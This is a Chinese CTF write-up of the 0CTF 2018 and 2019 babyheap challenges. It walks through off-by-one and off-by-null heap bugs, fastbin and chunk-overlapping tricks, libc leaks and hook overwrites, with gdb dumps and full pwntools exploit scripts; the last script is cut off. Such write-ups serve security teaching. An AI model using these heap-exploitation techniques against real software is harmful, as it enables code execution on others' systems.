两个babyheap

2018和2019年0ctf的两个babyheap题目。

2018 0ctf babyheap

首先是2018年0ctf的babyheap题目。

题目简述

该题目一共有4个功能,add,update,delete和show,libc版本为2.24。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ./babyheap
__ __ _____________ __ __ ___ ____
/ //_// ____/ ____/ | / / / / / | / __ )
/ ,< / __/ / __/ / |/ / / / / /| | / __ |
/ /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/

===== Baby Heap in 2018 =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command:

题目开保护情况,保护全开:

1
2
3
4
5
6
7
$ checksec ./babyheap
[*] '/home/ubuntu/Documents/pwn/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

题目漏洞

在IDA里可以看到,在add功能中,题目使用calloc来申请堆块,申请堆块的内容初始化为0,大小不超过0x58,有一个结构体来维护申请堆块的标识、大小和地址:

1
2
3
0x0 1 or 0 #分配标识
0x8 size #chunk的size
0x16 heap_ptr #chunk的地址

在update功能中,先读出存储的size,然后加1作为接受输入的长度,因此就有了一个off by one的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall update(__int64 a1)
{
unsigned __int64 v1; // rax
signed int idx; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
idx = my_read();
if ( idx >= 0 && idx <= 15 && *(_DWORD *)(0x18LL * idx + a1) == 1 )
{
printf("Size: ");
LODWORD(v1) = my_read();
v4 = v1;
if ( (signed int)v1 > 0 )
{
v1 = *(_QWORD *)(24LL * idx + a1 + 8) + 1LL; //off by one
if ( v4 <= v1 )
{
printf("Content: ");
sub_1230(*(_QWORD *)(24LL * idx + a1 + 16), v4);
LODWORD(v1) = printf("Chunk %d Updated\n", (unsigned int)idx);
}
}
}
else
{
LODWORD(v1) = puts("Invalid Index");
}
return v1;
}

delete功能中释放堆块,同时也把结构体中堆块的标识、大小和内容都置空了。

利用思路

1.因为有申请大小的限制,可利用off by one的漏洞修改下一个堆块的size位,将其释放到unsorted bin中泄露libc。
2.申请堆块的大小最大为0x60,不能在malloc_hook-0x23处伪造堆块,看了大佬们的writeup后才知道可以先在fastbin中释放一个堆块,然后在main_arena附近处就写入了一个0x56(释放堆块的地址是0x56开头),这样就可以伪造一个0x50的堆块,利用fastbin attack申请到这个堆块。
3.申请到后可以伪造top chunk到malloc_hook附近,有三种伪造方法,思想都差不多:
(1)在malloc_hook-0x23处伪造,大小为0x7f,覆写malloc_hook为one_gadget。
(2)在malloc_hook-0x10处伪造,这个的大小恰好非常大,覆写malloc_hook为one_gadget。
(3)在free_hook-0xb58处伪造,然后不断的申请堆块至free_hook处,覆写free_hook为one_gadget或覆写free_hook为system函数地址,再释放一个写有“/bin/sh”的堆块。
第三种方法会在下一道babyheap中用到。这里会尝试前两种方法。

利用过程

首先申请堆块,利用off by one漏洞覆盖下一个堆块的size位的一个字节,然后将其释放到unsorted bin中。

1
2
3
4
5
6
7
8
9
10
11
##init
add(0x48) #0
add(0x48) #1
add(0x48) #2
add(0x48) #3
add(0x48) #4
update(0,0x49,'a'*0x48+'\xa1') #1 off by one

##get unsortedbin chunk
update(1,0x48,'b'*0x48)
delete(1) #put into unsortedbin

此时chunk 1和chunk 2进入到unsorted bin中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
gdb-peda$ x /8gx 0x562d5e9c3000 #chunk 0
0x562d5e9c3000: 0x0000000000000000 0x0000000000000051
0x562d5e9c3010: 0x6161616161616161 0x6161616161616161
0x562d5e9c3020: 0x6161616161616161 0x6161616161616161
0x562d5e9c3030: 0x6161616161616161 0x6161616161616161
gdb-peda$ x /8gx 0x562d5e9c3050 #chunk 1
0x562d5e9c3050: 0x6161616161616161 0x00000000000000a1
0x562d5e9c3060: 0x00007f58e082cb78 0x00007f58e082cb78
0x562d5e9c3070: 0x6262626262626262 0x6262626262626262
0x562d5e9c3080: 0x6262626262626262 0x6262626262626262
gdb-peda$ x /8gx 0x562d5e9c30a0
0x562d5e9c30a0: 0x6262626262626262 0x0000000000000051
0x562d5e9c30b0: 0x0000000000000000 0x0000000000000000
0x562d5e9c30c0: 0x0000000000000000 0x0000000000000000
0x562d5e9c30d0: 0x0000000000000000 0x0000000000000000
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x562d5e9c3190 (size : 0x20e70)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x562d5e9c3050 (size : 0xa0)

我们申请堆块至chunk 2的起始地址处,然后show(2)就会泄露出libc。

1
2
3
4
5
6
7
8
9
10
add(0x48) #1 from unsortedbin
show(2)
p.recvuntil(': ')
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x68 - libc.symbols["__malloc_hook"]
print "libc_base:",hex(libc_base)
#one_gadget = libc_base + 0x4526a #2.23
one_gadget = libc_base + 0x3f35a #2.24
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
main_arena = malloc_hook + 0x10

现在unsorted bin中空闲堆块的起始地址是chunk 2,再申请一个chunk 5,与chunk 2的地址相同,释放掉chunk 2,update(5)可以修改fastbin中的fd至main_arena附近。申请再释放一个0x60的chunk,在main_arena附近写入一个0x56,伪造一个大小为0x50的chunk。

1
2
3
4
5
6
7
8
##fastbin 0x50 2-->1-->0x0
add(0x48) #5 the same addr with chunk 2
delete(1)
delete(2)

##fastbin 0x60 1-->0x0
add(0x58) #1
delete(1)

update(5)修改fastbin 0x50的fd指针只main_arena附近,申请两次可得到一个fake chunk。

1
2
3
update(5,8,p64(main_arena+32+5))
add(0x48) #1
add(0x48) #2 get fake chunk

最后修改top chunk为malloc_hook-0x23处,覆写malloc_hook为one_gadget,然后触发得到shell。

1
2
3
4
5
6
7
##use malloc_hook-0x23 as fake top chunk
update(2,43,'\x00'*35+p64(malloc_hook-0x23))
add(0x28) #6
update(6,27,'\x00'*0x13+p64(one_gadget))

##trigger one_gadget
add(0x20)

或修改top chunk为malloc_hook-0x10处,覆写malloc_hook为one_gadget,然后触发得到shell。

1
2
3
update(2,43,'\x00'*35+p64(malloc_hook-0x10))
add(0x28)
update(6,8,p64(one_gadget))

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

context.log_level = "debug"

#p = process('./babyheap',env={'LD_PRELOAD': './libc-2.24.so'})
#libc = ELF("./libc-2.24.so")
p = process("./babyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size):
p.recvuntil("Command: ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline(str(size))

def update(idx,size,content):
p.recvuntil("Command: ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(content)

def delete(idx):
p.recvuntil("Command: ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))


def show(idx):
p.recvuntil("Command: ")
p.sendline('4')
p.recvuntil("Index: ")
p.sendline(str(idx))

##init
add(0x48) #0
add(0x48) #1
add(0x48) #2
add(0x48) #3
add(0x48) #4
update(0,0x49,'a'*0x48+'\xa1') #1 off by one

##get unsortedbin chunk
update(1,0x48,'b'*0x48)
delete(1) #put into unsortedbin


##leak libc
add(0x48) #1 from unsortedbin
show(2)
p.recvuntil(': ')
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x68 - libc.symbols["__malloc_hook"]
print "libc_base:",hex(libc_base)
one_gadget = libc_base + 0x4526a #2.23
#one_gadget = libc_base + 0x3f35a #2.24
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
main_arena = malloc_hook + 0x10

##fastbin 0x50 2-->1-->0x0
add(0x48) #5 the same addr with chunk 2
delete(1)
delete(2)

##fastbin 0x60 1-->0x0
add(0x58) #1
delete(1)

##main_arena+32 fastbin 0x50
##main_arena+32+5 fake chunk(0x50)
update(5,8,p64(main_arena+32+5))
add(0x48) #1
add(0x48) #2 get fake chunk

##use malloc_hook-0x23 as fake top chunk
update(2,43,'\x00'*35+p64(malloc_hook-0x23))
add(0x28) #6
update(6,27,'\x00'*0x13+p64(one_gadget))

'''
update(2,43,'\x00'*35+p64(malloc_hook-0x10))
add(0x28)
update(6,8,p64(one_gadget))
'''

##trigger one_gadget
add(0x20)

p.interactive()

当堆的地址以0x55开头时伪造失败,可以多试几次。

2019 0ctf babyheap

这道题目我看着大佬们的writeup调试了好几次,因为堆块太多太乱,中途还放弃了,好难。

题目简述

题目同样有四个功能,add,update,delete和show,但libc版本为2.28,有了tcache。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ./babyheap 
__ __ _____________ __ __ ___ ____
/ //_// ____/ ____/ | / / / / / | / __ )
/ ,< / __/ / __/ / |/ / / / / /| | / __ |
/ /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/

===== Baby Heap in 2019 =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command:

开保护情况,保护全开:

1
2
3
4
5
6
7
$ checksec ./babyheap
[*] '/home/ubuntu/Documents/tctf2019/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

题目漏洞

在IDA里看到,add功能同样最多申请16个堆块,大小最大为0x58,使用calloc申请,因为libc版本是2.28,因此有了tcache,但是calloc函数不会从tcache中申请堆块,但释放的堆块还是会到tcache中的。
但update功能没有了off by one,但是在接受用户输入的时候有一个off by null的漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 __fastcall sub_18ED(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 v3; // [rsp+10h] [rbp-10h]
ssize_t v4; // [rsp+18h] [rbp-8h]

if ( !a2 )
return 0LL;
v3 = 0LL;
while ( v3 < a2 )
{
v4 = read(0, (void *)(v3 + a1), a2 - v3);
if ( v4 > 0 )
{
v3 += v4;
}
else if ( *__errno_location() != 11 && *__errno_location() != 4 )
{
break;
}
}
*(_BYTE *)(a1 + v3) = 0; //off by null
return v3;
}

show和delete功能一如既往的严谨,但是注意到题目在初始时申请了很大的一块,看到大佬们的writeup也是说不断的申请堆块,同时利用off by null覆盖top chunk的低字节,直至top chunk耗尽,然后触发malloc_consolidate,该函数会合并fastbin中的堆块至unsorted bin,结合其他攻击方式进行libc的泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
char *sub_1225()
{
int fd; // [rsp+4h] [rbp-3Ch]
char *addr; // [rsp+8h] [rbp-38h]
__int64 v3; // [rsp+10h] [rbp-30h]
unsigned __int64 buf; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-18h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
alarm(0xC8u);
puts(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");
puts("===== Baby Heap in 2019 =====");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, &buf, 0x10uLL) != 0x10 )
exit(-1);
close(fd);
addr = (char *)((buf
- 0x555555543000LL * ((unsigned __int64)(0xC000000294000009LL * (unsigned __int128)buf >> 64) >> 46)
+ 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (v5 - 3712 * (0x8D3DCB08D3DCB0DLL * (unsigned __int128)(v5 >> 7) >> 64)) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
exit(-1);
malloc(0x1F000uLL); //申请0x1f000的堆块
return &addr[v3];
}

利用思路

(1)不断分配和释放chunk,同时利用off by null覆盖top chunk的size位的低字节,耗尽top chunk。
(2)在消耗top chunk的过程中使用chunk overlapping来获得两个地址相同的chunk。
(3)耗尽top chunk后fastbin中的堆块合并进入unsorted bin中,利用两个地址相同的chunk(一个在unsorted bin中,一个已分配)来泄露libc。
(4)在main_arena附近伪造chunk,修改top chunk。
(4.1)将top chunk修改为free_hook-0xb58处,不断申请堆块至free_hook,修改free_hook为one_gadget。
(4.2)将top chunk修改为malloc_hook-0x28处,修改realloc_hook为one_gadget,并修改malloc_hook为libc+0x105ae0,这种方法仅适用于libc2.28版本。

利用过程

在利用过程中分配的chunk太多了,看到大佬们的writeup我已经凌乱了。先说一下调试的环境,因为在libc为2.28的虚拟机里插件gdb-peda使用Ctrl+C下断点时反应比较慢,然后就用ubuntu 18.04(libc 2.27)调试了。

消耗top chunk

开始先填充了0x30、0x40和0x50三个tcache,完成之后目前只有一个大小为0x50的chunk 7。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for i in range(7):
add(0x28)
update(i,0x28,'a'*0x28)
for i in range(7):
delete(i)

for i in range(7):
add(0x38)
update(i,0x38,'b'*0x38)
for i in range(7):
delete(i)

for i in range(8):
add(0x48)
update(i,0x48,str(i)*0x48)
for i in range(7):
delete(i)

重新add,而且在chunk 4伪造了prev_size和next chunk的size位:

1
2
3
4
5
6
7
##add chunk 7 0x50
for i in range(4): #0~3
add(0x38)
update(i,0x38,str(i)*0x38)
add(0x38) #4
payload = p64(0)*4 + p64(0x100) + p64(0x60) + p64(0)
update(4,0x38,payload)

chunk 4的内容:

1
2
3
4
5
gdb-peda$ x /8gx 0x560e69f508f0 #chunk 4
0x560e69f508f0: 0x3333333333333333 0x0000000000000041
0x560e69f50900: 0x0000000000000000 0x0000000000000000
0x560e69f50910: 0x0000000000000000 0x0000000000000000
0x560e69f50920: 0x0000000000000100 0x0000000000000060

继续申请chunk和覆盖top chunk的size位,此时释放的chunk进入fastbin中,tcache已满。

1
2
3
4
5
6
7
8
9
10
add(0x48) #5
update(5,0x48,'5'*0x48)
add(0x38) #6
update(6,0x38,'6'*0x38)

for i in range(5): #0~4 fastbin 0x40
delete(i)

add(0x58) #0
add(0x58) #1

至此top chunk的大小为0x40。已分配了chunk 0,chunk 1和chunk 7。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x560e69f508f0 --> 0x560e69f508b0 --> 0x560e69f50870 --> 0x560e69f50830 --> 0x560e69f507f0 --> 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x560e69f50a80 (size : 0x40)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x30) tcache_entry[1](7): 0x560e69f50390 --> 0x560e69f50360 --> 0x560e69f50330 --> 0x560e69f50300 --> 0x560e69f502d0 --> 0x560e69f502a0 --> 0x560e69f50270
(0x40) tcache_entry[2](7): 0x560e69f50540 --> 0x560e69f50500 --> 0x560e69f504c0 --> 0x560e69f50480 --> 0x560e69f50440 --> 0x560e69f50400 --> 0x560e69f503c0
(0x50) tcache_entry[3](7): 0x560e69f50760 --> 0x560e69f50710 --> 0x560e69f506c0 --> 0x560e69f50670 --> 0x560e69f50620 --> 0x560e69f505d0 --> 0x560e69f50580

此时再申请一个chunk会触发malloc_consolidate,将fastbin中的5个大小为0x40的smallbin合并进入到unsorted bin中,未分配之前是0x40*5=0x140,去掉申请的0x30的chunk 2大小为0x140-0x30=0x110,再利用off by null对chunk 2进行update后,大小就变为0x100了。

1
2
3
4
5
6
##top chunk 0x40
##malloc_consolidate fastbin 0x40*(0~4) into unsorted bin
##unsorted bin:0x140
add(0x28) #2
##unsorted bin:0x140-0x30=0x110
update(2,0x28,'6'*0x28) #off by null 0x110->0x100

此时bins中的分布情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x560e69f50a80 (size : 0x40)
last_remainder: 0x560e69f50820 (size : 0x100)
unsortbin: 0x560e69f50820 (size : 0x100)
(0x30) tcache_entry[1](7): 0x560e69f50390 --> 0x560e69f50360 --> 0x560e69f50330 --> 0x560e69f50300 --> 0x560e69f502d0 --> 0x560e69f502a0 --> 0x560e69f50270
(0x40) tcache_entry[2](7): 0x560e69f50540 --> 0x560e69f50500 --> 0x560e69f504c0 --> 0x560e69f50480 --> 0x560e69f50440 --> 0x560e69f50400 --> 0x560e69f503c0
(0x50) tcache_entry[3](7): 0x560e69f50760 --> 0x560e69f50710 --> 0x560e69f506c0 --> 0x560e69f50670 --> 0x560e69f50620 --> 0x560e69f505d0 --> 0x560e69f50580

chunk overlapping

这里说一下为什么要这样做前面说到在chunk 4里伪造了prev_size和next chunk的size,chunk 4里伪造prev_size的地址处正好是unsorted bin中大小为0x100的堆块0x560e69f50820的next chunk的prev_size处。

1
2
3
4
5
6
7
8
9
10
gdb-peda$ x /20gx 0x560e69f50820 #unsorted bin
0x560e69f50820: 0x3636363636363636 0x0000000000000100
0x560e69f50830: 0x00007f92eb905ca0 0x00007f92eb905ca0
0x560e69f50840: 0x00007f92eb905ca0 0x00007f92eb905ca0
0x560e69f50850: 0x3131313131313131 0x3131313131313131
gdb-peda$ x /8gx 0x560e69f508f0 #chunk 4(freed)
0x560e69f508f0: 0x3333333333333333 0x0000000000000041
0x560e69f50900: 0x00007f92eb905ca0 0x00007f92eb905ca0
0x560e69f50910: 0x0000000000000000 0x0000000000000000
0x560e69f50920: 0x0000000000000100 0x0000000000000060

但其实正确的堆分布应该是off by null之前堆块0x560e69f50820的大小为0x110,next chunk的大小为0x50:

1
2
3
4
5
gdb-peda$ x /8gx 0x560e69f50930 #chunk 5
0x560e69f50930: 0x0000000000000110 0x0000000000000050
0x560e69f50940: 0x3535353535353535 0x3535353535353535
0x560e69f50950: 0x3535353535353535 0x3535353535353535
0x560e69f50960: 0x3535353535353535 0x3535353535353535

这是我们熟悉的chunk overlapping,伪造prev_size以绕过堆块合并时unlink的检查:

1
chunksize(P) ?= prev_size(next_chunk(P), 0)

按照chunk overlapping的思路,地址为0x560e69f50930的位置相当于C,我们需要在0x560e69f50820处申请堆块,然后释放,与同时释放C进行合并以达到overlapping。

1
2
3
4
5
6
7
8
9
10
11
12
delete(5) #0x50

add(0x38) #3
add(0x38) #4
add(0x38) #5
add(0x38) #8

##unsort bin:0x0
delete(3)
delete(4)

add(0x28)

目前bins的分布情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x560e69f50860 --> 0x560e69f50820 --> 0x0 #chunk 4(freed)->chunk 3(freed)->0x0
(0x50) fastbin[3]: 0x560e69f50930 --> 0x0 #chunk 5(freed)->0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x560e69f50a80 (size : 0x40)
last_remainder: 0x560e69f508e0 (size : 0x40)
unsortbin: 0x0
(0x30) tcache_entry[1](7): 0x560e69f50390 --> 0x560e69f50360 --> 0x560e69f50330 --> 0x560e69f50300 --> 0x560e69f502d0 --> 0x560e69f502a0 --> 0x560e69f50270
(0x40) tcache_entry[2](7): 0x560e69f50540 --> 0x560e69f50500 --> 0x560e69f504c0 --> 0x560e69f50480 --> 0x560e69f50440 --> 0x560e69f50400 --> 0x560e69f503c0
(0x50) tcache_entry[3](7): 0x560e69f50760 --> 0x560e69f50710 --> 0x560e69f506c0 --> 0x560e69f50670 --> 0x560e69f50620 --> 0x560e69f505d0 --> 0x560e69f50580

此时再次申请堆块又会触发malloc_consolidate(),在合并时,该函数有两个循环,外层循环遍历fastbinY数组,内层循环遍历每一条fastbin链上的chunk进行合并,并更新chunk的size位和prev_size位,因此首先fastbin[2]和fastbin[3]的chunk各自合并,fastbin[2]会合并产生一个以0x560e69f50820为起始地址,大小为0x80的空闲chunk,fastbin[3]合并产生一个以0x560e69f50930为起始地址的0x50的chunk。最后进行两个chunk的合并,此时0x560e69f50930的prev_size为0x110,计算得到它的相邻堆块0x560e69f50820,大小为0x80,且处于freed状态,触发unlink进行后向合并,此时堆块0x560e69f50820的大小与其prev_size均为0x80,能通过unlink的检查,进入unsorted bin中,但是大小为0x110+0x50=0x160,直接覆盖堆块0x560e69f508a0,堆块0x560e69f508a0恰好是申请的chunk 5的起始地址,达到chunk overlapping。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x /20gx 0x560e69f50820
0x560e69f50820: 0x3636363636363636 0x0000000000000080
0x560e69f50830: 0x0000000000000000 0x0000000000000000
0x560e69f50840: 0x0000000000000000 0x0000000000000000
0x560e69f50850: 0x0000000000000000 0x0000000000000000
0x560e69f50860: 0x0000000000000000 0x0000000000000000
0x560e69f50870: 0x0000000000000000 0x0000000000000000
0x560e69f50880: 0x0000000000000000 0x0000000000000000
0x560e69f50890: 0x0000000000000000 0x0000000000000000
0x560e69f508a0: 0x0000000000000080 0x0000000000000040
gdb-peda$ x /8gx 0x560e69f50930
0x560e69f50930: 0x0000000000000110 0x0000000000000050
0x560e69f50940: 0x0000000000000000 0x3535353535353535
0x560e69f50950: 0x3535353535353535 0x3535353535353535
0x560e69f50960: 0x3535353535353535 0x3535353535353535

此时bins的分布情况是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x560e69f50a80 (size : 0x40)
last_remainder: 0x560e69f50850 (size : 0x130)
unsortbin: 0x560e69f50850 (size : 0x130)
(0x30) tcache_entry[1](7): 0x560e69f50390 --> 0x560e69f50360 --> 0x560e69f50330 --> 0x560e69f50300 --> 0x560e69f502d0 --> 0x560e69f502a0 --> 0x560e69f50270
(0x40) tcache_entry[2](7): 0x560e69f50540 --> 0x560e69f50500 --> 0x560e69f504c0 --> 0x560e69f50480 --> 0x560e69f50440 --> 0x560e69f50400 --> 0x560e69f503c0
(0x50) tcache_entry[3](7): 0x560e69f50760 --> 0x560e69f50710 --> 0x560e69f506c0 --> 0x560e69f50670 --> 0x560e69f50620 --> 0x560e69f505d0 --> 0x560e69f50580

因为堆块0x560e69f508a0恰好是申请的chunk 5的起始地址,我们再申请到该地址处,然后show(5)就可以泄露libc:

1
2
3
4
5
6
7
add(0x48) #4
view(5)
p.recvuntil(": ")
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
print "leak_addr:",hex(leak_addr)
libc_base = leak_addr - 0x70 - libc.symbols["__malloc_hook"]
print "libc_base:",hex(libc_base)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x560e69f50a80 (size : 0x40)
last_remainder: 0x560e69f508a0 (size : 0xe0)
unsortbin: 0x560e69f508a0 (size : 0xe0) #chunk 5
(0x30) tcache_entry[1](7): 0x560e69f50390 --> 0x560e69f50360 --> 0x560e69f50330 --> 0x560e69f50300 --> 0x560e69f502d0 --> 0x560e69f502a0 --> 0x560e69f50270
(0x40) tcache_entry[2](7): 0x560e69f50540 --> 0x560e69f50500 --> 0x560e69f504c0 --> 0x560e69f50480 --> 0x560e69f50440 --> 0x560e69f50400 --> 0x560e69f503c0
(0x50) tcache_entry[3](7): 0x560e69f50760 --> 0x560e69f50710 --> 0x560e69f506c0 --> 0x560e69f50670 --> 0x560e69f50620 --> 0x560e69f505d0 --> 0x560e69f50580

再接下来是泄露堆的地址,我参考的这篇writeup后面用到了堆的地址,但是我后面没用到,此时我们再申请chunk就申请到与chunk 5相同地址的chunk,再free两个chunk进入fastbin中,然后show(5)泄露堆的地址:

1
2
3
4
5
6
7
add(0x48) #9 the same as chunk 5
delete(4)
delete(9)
view(5) #0x8a0
p.recvuntil(": ")
heap_addr = u64(p.recvn(6).ljust(8,'\x00'))
print "heap_addr:",hex(heap_addr)

修改top chunk

释放一个0x30的chunk进入到fastbin中,这样我们在main_arena+21处就有了一个0x56的数值,以达到在该处伪造一个0x50的chunk的目的:

1
2
3
4
5
gdb-peda$ x /8gx 0x7f92eb905c40+21
0x7f92eb905c55 <main_arena+21>: 0x0e69f507f0000000 0x0000000000000056
0x7f92eb905c65 <main_arena+37>: 0x0e69f508a0000000 0x0000000000000056
0x7f92eb905c75 <main_arena+53>: 0x0000000000000000 0x0000000000000000
0x7f92eb905c85 <main_arena+69>: 0x0000000000000000 0x0000000000000000

再利用与chunk 5相同地址的堆块,将其释放进入fastbin中然后修改其fd,申请两次得到这个fake chunk,然后update该fake chunk修改top chunk。下面有两种方法修改top chunk。

修改top chunk为free_hook-0xb58

修改top chunk为free_hook-0xb58:

1
2
3
4
5
6
7
8
9
delete(2)
target = libc_base + libc.symbols["__malloc_hook"] + 0x10 + 21
update(5,0x8,p64(target)) #main_arena+21:0x55 fake chunk
add(0x48) #2 the same as chunk 5

add(0x48) #4
free_hook = libc_base + libc.symbols["__free_hook"]
payload = '\x00'*3 + p64(0)*7 + p64(free_hook-0xb58)
update(4,len(payload),payload)

然后不断申请chunk至free_hook处,并将其修改为one_gadget,然后释放堆块触发one_gadget获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
##consume unsorted bin
add(0x48) #9
add(0x38) #10
delete(9)
delete(10)

##reach free_hook from free_hook-0xb58

for i in range(7):
add(0x58)

for i in range(7):
delete(9+i)
gdb.attach(p)

old = add(0x58) #9
new = add(0x58) #10

for i in range(21):
delete(old)
update(4,24,p64(0)*3)
old = new
new = add(0x58)

##malloc free_hook
idx = add(0x58)
one_gadget = libc_base + 0x4f322 #2.27
#one_gadget = libc_base + 0x501e3 #2.28
update(idx,16,p64(0)+p64(one_gadget))

##trigger
delete(3)

该方法的完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
from pwn import *
context.log_level = "debug"

p = process("./babyheap")
#p = process(["./babyheap"],env={"LD_PRELOAD":'./libc-2.28.so'})
#libc = ELF("./libc-2.28.so")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size):
p.sendlineafter('Command:', '1')
p.sendlineafter('Size:', str(size))
line = p.recvuntil('\n').strip()
idx = line.split(' ')[1]
#print idx
return idx

def update(index, size, content):
p.sendlineafter('Command:', '2')
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))
#p.sendlineafter('Content: ', content)
p.recvuntil("Content: ")
p.send(content)

def delete(index):
p.sendlineafter('Command:', '3')
p.sendlineafter('Index:', str(index))

def view(index):
p.sendlineafter('Command:', '4')
p.sendlineafter('Index:', str(index))



for i in range(7):
add(0x28)
update(i,0x28,'a'*0x28)
for i in range(7):
